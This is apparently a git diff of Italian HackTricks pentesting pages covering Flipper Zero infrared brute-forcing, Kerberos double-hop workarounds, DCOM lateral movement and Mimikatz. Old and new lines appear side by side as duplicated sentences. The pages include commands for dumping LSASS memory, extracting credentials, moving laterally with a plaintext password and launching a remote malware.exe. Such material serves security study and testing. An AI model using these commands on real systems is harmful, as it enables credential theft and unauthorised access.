Il ricevitore infrarosso di Flipper è **abbastanza sensibile**. Puoi anche **catturare il segnale** rimanendo **da qualche parte in mezzo** al telecomando e alla TV. Puntare il telecomando direttamente sulla porta IR di Flipper non è necessario. Questo è utile quando qualcuno sta cambiando canale mentre si trova vicino alla TV, e sia tu che Flipper siete a una certa distanza.
Poiché la **decodifica del segnale infrarosso** avviene sul lato **software**, Flipper Zero supporta potenzialmente la **ricezione e la trasmissione di qualsiasi codice remoto IR**. Nel caso di **protocolli sconosciuti** che non possono essere riconosciuti, **registra e riproduce** il segnale grezzo esattamente come ricevuto.
Poiché la **decodifica del segnale infrarosso** avviene sul lato **software**, Flipper Zero supporta potenzialmente la **ricezione e trasmissione di qualsiasi codice remoto IR**. Nel caso di protocolli **sconosciuti** che non possono essere riconosciuti - **registra e riproduce** il segnale grezzo esattamente come ricevuto.
## Azioni
### Telecomandi Universali
Flipper Zero può essere utilizzato come un **telecomando universale per controllare qualsiasi TV, condizionatore d'aria o centro multimediale**. In questa modalità, Flipper **forza bruta** tutti i **codici conosciuti** di tutti i produttori supportati **in base al dizionario dalla scheda SD**. Non è necessario scegliere un telecomando particolare per spegnere una TV in un ristorante.
Flipper Zero può essere utilizzato come un **telecomando universale per controllare qualsiasi TV, condizionatore d'aria o centro multimediale**. In questa modalità, Flipper **bruteforza** tutti i **codici noti** di tutti i produttori supportati **secondo il dizionario della scheda SD**. Non è necessario scegliere un telecomando particolare per spegnere una TV in un ristorante.
Basta premere il pulsante di accensione in modalità Telecomando Universale, e Flipper invierà **sequenzialmente comandi "Spegni"** di tutte le TV che conosce: Sony, Samsung, Panasonic... e così via. Quando la TV riceve il suo segnale, reagirà e si spegnerà.
È sufficiente premere il pulsante di accensione nella modalità Telecomando Universale, e Flipper **invierà sequenzialmente i comandi "Power Off"** di tutte le TV che conosce: Sony, Samsung, Panasonic... e così via. Quando la TV riceve il suo segnale, reagirà e si spegnerà.
Questa forza bruta richiede tempo. Più grande è il dizionario, più tempo ci vorrà per finire. È impossibile scoprire quale segnale esattamente la TV ha riconosciuto poiché non c'è feedback dalla TV.
Tale brute-force richiede tempo. Più grande è il dizionario, più tempo ci vorrà per completarlo. È impossibile scoprire quale segnale esattamente la TV ha riconosciuto poiché non c'è feedback dalla TV.
### Apprendi Nuovo Telecomando
### Impara Nuovo Telecomando
È possibile **catturare un segnale infrarosso** con Flipper Zero. Se **trova il segnale nel database**, Flipper saprà automaticamente **di quale dispositivo si tratta** e ti permetterà di interagire con esso.\
Se non lo fa, Flipper può **memorizzare** il **segnale** e ti permetterà di **riprodurlo**.
Se non lo trova, Flipper può **memorizzare** il **segnale** e ti permetterà di **riprodurlo**.
## Riferimenti
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}

View file

@ -1,46 +1,50 @@
# Problema del doppio salto di Kerberos
# Problema del Kerberos Double Hop
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository github.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Introduzione
Il problema del "doppio salto" di Kerberos si verifica quando un attaccante tenta di utilizzare **l'autenticazione Kerberos attraverso due** **salti**, ad esempio utilizzando **PowerShell**/**WinRM**.
Il problema del "Double Hop" di Kerberos si presenta quando un attaccante tenta di utilizzare **l'autenticazione Kerberos attraverso due** **hop**, ad esempio utilizzando **PowerShell**/**WinRM**.
Quando avviene un'**autenticazione** tramite **Kerberos**, le **credenziali** **non** vengono memorizzate in **memoria**. Pertanto, se esegui mimikatz non **troverai le credenziali** dell'utente nella macchina anche se sta eseguendo processi.
Quando si verifica un'**autenticazione** tramite **Kerberos**, le **credenziali** **non** vengono memorizzate in **memoria.** Pertanto, se esegui mimikatz non **troverai le credenziali** dell'utente nella macchina anche se sta eseguendo processi.
Ciò avviene perché quando ci si connette con Kerberos, avvengono i seguenti passaggi:
Questo perché, quando ci si connette con Kerberos, questi sono i passaggi:
1. L'utente fornisce le credenziali e il **domain controller** restituisce un **TGT** di Kerberos all'utente.
2. L'utente utilizza il **TGT** per richiedere un **service ticket** per **connettersi** a Server1.
3. L'utente si **connette** a **Server1** e fornisce il **service ticket**.
4. **Server1** **non** ha le **credenziali** di User1 memorizzate o il **TGT** di User1. Pertanto, quando User1 da Server1 tenta di accedere a un secondo server, non è in grado di autenticarsi.
1. User1 fornisce le credenziali e il **domain controller** restituisce un **TGT** Kerberos a User1.
2. User1 utilizza il **TGT** per richiedere un **service ticket** per **connettersi** a Server1.
3. User1 **si connette** a **Server1** e fornisce il **service ticket**.
4. **Server1** **non** ha le **credenziali** di User1 memorizzate o il **TGT** di User1. Pertanto, quando User1 da Server1 cerca di accedere a un secondo server, non è **in grado di autenticarsi**.
### Delega non vincolata
### Delegazione Non Vincolata
Se la **delega non vincolata** è abilitata nel PC, ciò non accadrà poiché il **Server** otterrà un **TGT** di ciascun utente che vi accede. Inoltre, se viene utilizzata la delega non vincolata, è probabile che si possa **compromettere il Domain Controller** da essa.\
[**Ulteriori informazioni nella pagina sulla delega non vincolata**](unconstrained-delegation.md).
Se la **delegazione non vincolata** è abilitata nel PC, questo non accadrà poiché il **Server** otterrà un **TGT** di ogni utente che vi accede. Inoltre, se viene utilizzata la delegazione non vincolata, probabilmente puoi **compromettere il Domain Controller** da esso.\
[**Maggiori informazioni nella pagina sulla delegazione non vincolata**](unconstrained-delegation.md).
### CredSSP
Un altro modo per evitare questo problema, che è [**notoriamente insicuro**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), è il **Credential Security Support Provider**. Da Microsoft:
Un altro modo per evitare questo problema, che è [**notevolmente insicuro**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), è il **Credential Security Support Provider**. Da Microsoft:
> L'autenticazione CredSSP delega le credenziali dell'utente dal computer locale a un computer remoto. Questa pratica aumenta il rischio di sicurezza dell'operazione remota. Se il computer remoto viene compromesso, quando le credenziali vengono trasmesse ad esso, le credenziali possono essere utilizzate per controllare la sessione di rete.
> L'autenticazione CredSSP delega le credenziali dell'utente dal computer locale a un computer remoto. Questa pratica aumenta il rischio di sicurezza dell'operazione remota. Se il computer remoto viene compromesso, quando le credenziali vengono passate a esso, le credenziali possono essere utilizzate per controllare la sessione di rete.
È altamente consigliabile disabilitare **CredSSP** nei sistemi di produzione, nelle reti sensibili e in ambienti simili a causa di preoccupazioni per la sicurezza. Per determinare se **CredSSP** è abilitato, è possibile eseguire il comando `Get-WSManCredSSP`. Questo comando consente di **verificare lo stato di CredSSP** e può essere eseguito anche in remoto, a condizione che **WinRM** sia abilitato.
Si raccomanda vivamente di disabilitare **CredSSP** sui sistemi di produzione, reti sensibili e ambienti simili a causa di preoccupazioni di sicurezza. Per determinare se **CredSSP** è abilitato, è possibile eseguire il comando `Get-WSManCredSSP`. Questo comando consente di **verificare lo stato di CredSSP** e può anche essere eseguito in remoto, a condizione che **WinRM** sia abilitato.
```powershell
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
@ -48,48 +52,50 @@ Get-WSManCredSSP
```
## Soluzioni alternative
### Eseguire il comando
### Invoke Command
Per affrontare il problema del doppio salto, viene presentato un metodo che coinvolge un `Invoke-Command` nidificato. Questo non risolve direttamente il problema ma offre una soluzione alternativa senza la necessità di configurazioni speciali. L'approccio consente di eseguire un comando (`hostname`) su un server secondario tramite un comando PowerShell eseguito da una macchina di attacco iniziale o tramite una sessione PS precedentemente stabilita con il primo server. Ecco come si fa:
Per affrontare il problema del doppio salto, viene presentato un metodo che coinvolge un `Invoke-Command` annidato. Questo non risolve direttamente il problema, ma offre una soluzione alternativa senza necessitare di configurazioni speciali. L'approccio consente di eseguire un comando (`hostname`) su un server secondario tramite un comando PowerShell eseguito da una macchina di attacco iniziale o attraverso una PS-Session precedentemente stabilita con il primo server. Ecco come si fa:
```powershell
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
}
```
### Registrazione della configurazione della sessione PSSession
Alternativamente, stabilire una PS-Session con il primo server ed eseguire il `Invoke-Command` utilizzando `$cred` è suggerito per centralizzare i compiti.
Una soluzione per aggirare il problema del doppio salto coinvolge l'utilizzo di `Register-PSSessionConfiguration` con `Enter-PSSession`. Questo metodo richiede un approccio diverso rispetto a `evil-winrm` e consente una sessione che non soffre del limite del doppio salto.
### Registrare la Configurazione PSSession
Una soluzione per bypassare il problema del doppio salto implica l'uso di `Register-PSSessionConfiguration` con `Enter-PSSession`. Questo metodo richiede un approccio diverso rispetto a `evil-winrm` e consente una sessione che non soffre della limitazione del doppio salto.
```powershell
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
klist
```
### InoltroPorta
### PortForwarding
Per gli amministratori locali su un target intermedio, l'inoltro porta consente di inviare richieste a un server finale. Utilizzando `netsh`, è possibile aggiungere una regola per l'inoltro porta, insieme a una regola del firewall di Windows per consentire la porta inoltrata.
Per gli amministratori locali su un obiettivo intermedio, il port forwarding consente di inviare richieste a un server finale. Utilizzando `netsh`, è possibile aggiungere una regola per il port forwarding, insieme a una regola del firewall di Windows per consentire la porta inoltrata.
```bash
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
```
#### winrs.exe
`winrs.exe` può essere utilizzato per inoltrare le richieste WinRM, potenzialmente come opzione meno rilevabile se preoccupa il monitoraggio di PowerShell. Il comando di seguito ne dimostra l'uso:
`winrs.exe` può essere utilizzato per inoltrare richieste WinRM, potenzialmente come un'opzione meno rilevabile se il monitoraggio di PowerShell è una preoccupazione. Il comando qui sotto ne dimostra l'uso:
```bash
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```
### OpenSSH
L'installazione di OpenSSH sul primo server consente di aggirare il problema del doppio hop, particolarmente utile per scenari di jump box. Questo metodo richiede l'installazione e la configurazione della CLI di OpenSSH per Windows. Quando configurato per l'Autenticazione della Password, ciò consente al server intermedio di ottenere un TGT per conto dell'utente.
L'installazione di OpenSSH sul primo server consente una soluzione per il problema del double-hop, particolarmente utile per scenari di jump box. Questo metodo richiede l'installazione e la configurazione tramite CLI di OpenSSH per Windows. Quando configurato per l'autenticazione con password, questo consente al server intermedio di ottenere un TGT per conto dell'utente.
#### Passaggi di Installazione di OpenSSH
#### Passaggi per l'installazione di OpenSSH
1. Scaricare e spostare il file zip dell'ultima versione di OpenSSH sul server di destinazione.
2. Estrarre e eseguire lo script `Install-sshd.ps1`.
3. Aggiungere una regola del firewall per aprire la porta 22 e verificare che i servizi SSH siano in esecuzione.
1. Scarica e sposta l'ultima versione zip di OpenSSH sul server di destinazione.
2. Decomprimi ed esegui lo script `Install-sshd.ps1`.
3. Aggiungi una regola del firewall per aprire la porta 22 e verifica che i servizi SSH siano in esecuzione.
Per risolvere gli errori di `Connection reset`, potrebbe essere necessario aggiornare i permessi per consentire a tutti di leggere ed eseguire l'accesso alla directory di OpenSSH.
Per risolvere gli errori `Connection reset`, potrebbe essere necessario aggiornare i permessi per consentire a tutti l'accesso in lettura ed esecuzione sulla directory di OpenSSH.
```bash
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
```
@ -104,14 +110,17 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# DCOM Exec
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara a hackare AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Lavori in una **società di cybersecurity**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**Piani di Sottoscrizione**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merch ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -22,7 +25,7 @@
## MMC20.Application
**Per ulteriori informazioni su questa tecnica controlla il post originale da [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
**Per ulteriori informazioni su questa tecnica, controlla il post originale da [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
Il modello a oggetti dei componenti distribuiti (DCOM) presenta una capacità interessante per interazioni basate su rete con oggetti. Microsoft fornisce documentazione completa sia per DCOM che per il modello a oggetti dei componenti (COM), accessibile [qui per DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e [qui per COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Un elenco di applicazioni DCOM può essere recuperato utilizzando il comando PowerShell:
```bash
@ -54,12 +57,12 @@ ls \\10.10.10.10\c$\Users
**Per ulteriori informazioni su questa tecnica, controlla il post originale [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
L'oggetto **MMC20.Application** è stato identificato come privo di "LaunchPermissions" espliciti, impostando i permessi che consentono l'accesso agli Amministratori. Per ulteriori dettagli, è possibile esplorare un thread [qui](https://twitter.com/tiraniddo/status/817532039771525120), e si raccomanda l'uso di [@tiraniddo](https://twitter.com/tiraniddo)s OleView .NET per filtrare oggetti senza esplicito Permesso di Lancio.
L'oggetto **MMC20.Application** è stato identificato come privo di "LaunchPermissions" espliciti, impostando permessi che consentono l'accesso agli Amministratori. Per ulteriori dettagli, è possibile esplorare un thread [qui](https://twitter.com/tiraniddo/status/817532039771525120), e si raccomanda l'uso di [@tiraniddo](https://twitter.com/tiraniddo)s OleView .NET per filtrare oggetti senza esplicito Launch Permission.
Due oggetti specifici, `ShellBrowserWindow` e `ShellWindows`, sono stati evidenziati a causa della loro mancanza di Permessi di Lancio espliciti. L'assenza di una voce di registro `LaunchPermission` sotto `HKCR:\AppID\{guid}` indica che non ci sono permessi espliciti.
Due oggetti specifici, `ShellBrowserWindow` e `ShellWindows`, sono stati evidenziati a causa della loro mancanza di espliciti Launch Permissions. L'assenza di una voce di registro `LaunchPermission` sotto `HKCR:\AppID\{guid}` indica che non ci sono permessi espliciti.
### ShellWindows
Per `ShellWindows`, che manca di un ProgID, i metodi .NET `Type.GetTypeFromCLSID` e `Activator.CreateInstance` facilitano l'istanza dell'oggetto utilizzando il suo AppID. Questo processo sfrutta OleView .NET per recuperare il CLSID per `ShellWindows`. Una volta istanziato, è possibile interagire attraverso il metodo `WindowsShell.Item`, portando a invocazioni di metodi come `Document.Application.ShellExecute`.
Per `ShellWindows`, che manca di un ProgID, i metodi .NET `Type.GetTypeFromCLSID` e `Activator.CreateInstance` facilitano l'istanza dell'oggetto utilizzando il suo AppID. Questo processo sfrutta OleView .NET per recuperare il CLSID per `ShellWindows`. Una volta istanziato, è possibile interagire tramite il metodo `WindowsShell.Item`, portando a invocazioni di metodi come `Document.Application.ShellExecute`.
Esempi di comandi PowerShell sono stati forniti per istanziare l'oggetto ed eseguire comandi da remoto:
```powershell
@ -107,7 +110,7 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
## Strumenti Automatici
* Lo script Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) consente di invocare facilmente tutti i metodi commentati per eseguire codice su altre macchine.
* Lo script Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) consente di invocare facilmente tutti i modi commentati per eseguire codice su altre macchine.
* Puoi anche utilizzare [**SharpLateral**](https://github.com/mertdas/SharpLateral):
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

View file

@ -1,39 +1,42 @@
# Mimikatz
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Questa pagina si basa su una pagina di [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Consulta l'originale per ulteriori informazioni!
**Questa pagina si basa su una di [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Controlla l'originale per ulteriori informazioni!
## LM e testo in chiaro in memoria
## LM e Clear-Text in memoria
A partire da Windows 8.1 e Windows Server 2012 R2, sono state implementate misure significative per proteggere contro il furto delle credenziali:
A partire da Windows 8.1 e Windows Server 2012 R2, sono state implementate misure significative per proteggere contro il furto di credenziali:
- **Le hash LM e le password in testo in chiaro** non vengono più memorizzate in memoria per migliorare la sicurezza. È necessario configurare una specifica impostazione del registro, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_, con un valore DWORD di `0` per disabilitare l'autenticazione Digest, garantendo che le password "in chiaro" non vengano memorizzate nella memoria LSASS.
- **Gli hash LM e le password in chiaro** non sono più memorizzati in memoria per migliorare la sicurezza. Un'impostazione specifica del registro, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_, deve essere configurata con un valore DWORD di `0` per disabilitare l'autenticazione Digest, assicurando che le password "in chiaro" non vengano memorizzate nella cache in LSASS.
- **LSA Protection** è stata introdotta per proteggere il processo Local Security Authority (LSA) dalla lettura non autorizzata della memoria e dall'iniezione di codice. Questo viene realizzato contrassegnando LSASS come un processo protetto. L'attivazione di LSA Protection comporta:
- **La protezione LSA** è stata introdotta per proteggere il processo dell'Autorità di Sicurezza Locale (LSA) dalla lettura non autorizzata della memoria e dall'iniezione di codice. Questo viene realizzato contrassegnando LSASS come processo protetto. L'attivazione della protezione LSA comporta:
1. Modificare il registro in _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ impostando `RunAsPPL` su `dword:00000001`.
2. Implementare un oggetto di criteri di gruppo (GPO) che impone questa modifica del registro su dispositivi gestiti.
2. Implementare un Oggetto Criteri di Gruppo (GPO) che applica questa modifica del registro sui dispositivi gestiti.
Nonostante queste protezioni, strumenti come Mimikatz possono aggirare LSA Protection utilizzando driver specifici, anche se tali azioni sono probabilmente registrate nei log degli eventi.
Nonostante queste protezioni, strumenti come Mimikatz possono eludere la protezione LSA utilizzando driver specifici, anche se tali azioni sono destinate a essere registrate nei log degli eventi.
### Contrasto alla rimozione di SeDebugPrivilege
### Contrastare la rimozione di SeDebugPrivilege
Gli amministratori di solito hanno SeDebugPrivilege, che consente loro di eseguire il debug dei programmi. Questo privilegio può essere limitato per impedire il dump non autorizzato della memoria, una tecnica comune utilizzata dagli attaccanti per estrarre le credenziali dalla memoria. Tuttavia, anche con questo privilegio rimosso, l'account TrustedInstaller può ancora eseguire il dump della memoria utilizzando una configurazione del servizio personalizzata:
Gli amministratori di solito hanno SeDebugPrivilege, che consente loro di eseguire il debug dei programmi. Questo privilegio può essere limitato per prevenire dump di memoria non autorizzati, una tecnica comune utilizzata dagli attaccanti per estrarre credenziali dalla memoria. Tuttavia, anche con questo privilegio rimosso, l'account TrustedInstaller può ancora eseguire dump di memoria utilizzando una configurazione di servizio personalizzata:
```bash
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller
```
Questo consente di eseguire il dumping della memoria di `lsass.exe` su un file, che può poi essere analizzato su un altro sistema per estrarre le credenziali:
Questo consente di eseguire il dump della memoria di `lsass.exe` in un file, che può poi essere analizzato su un altro sistema per estrarre le credenziali:
```
# privilege::debug
# sekurlsa::minidump lsass.dmp
@ -41,50 +44,50 @@ Questo consente di eseguire il dumping della memoria di `lsass.exe` su un file,
```
## Opzioni di Mimikatz
La manipolazione dei log degli eventi in Mimikatz coinvolge due azioni principali: la cancellazione dei log degli eventi e la modifica del servizio Eventi per impedire la registrazione di nuovi eventi. Di seguito sono riportati i comandi per eseguire queste azioni:
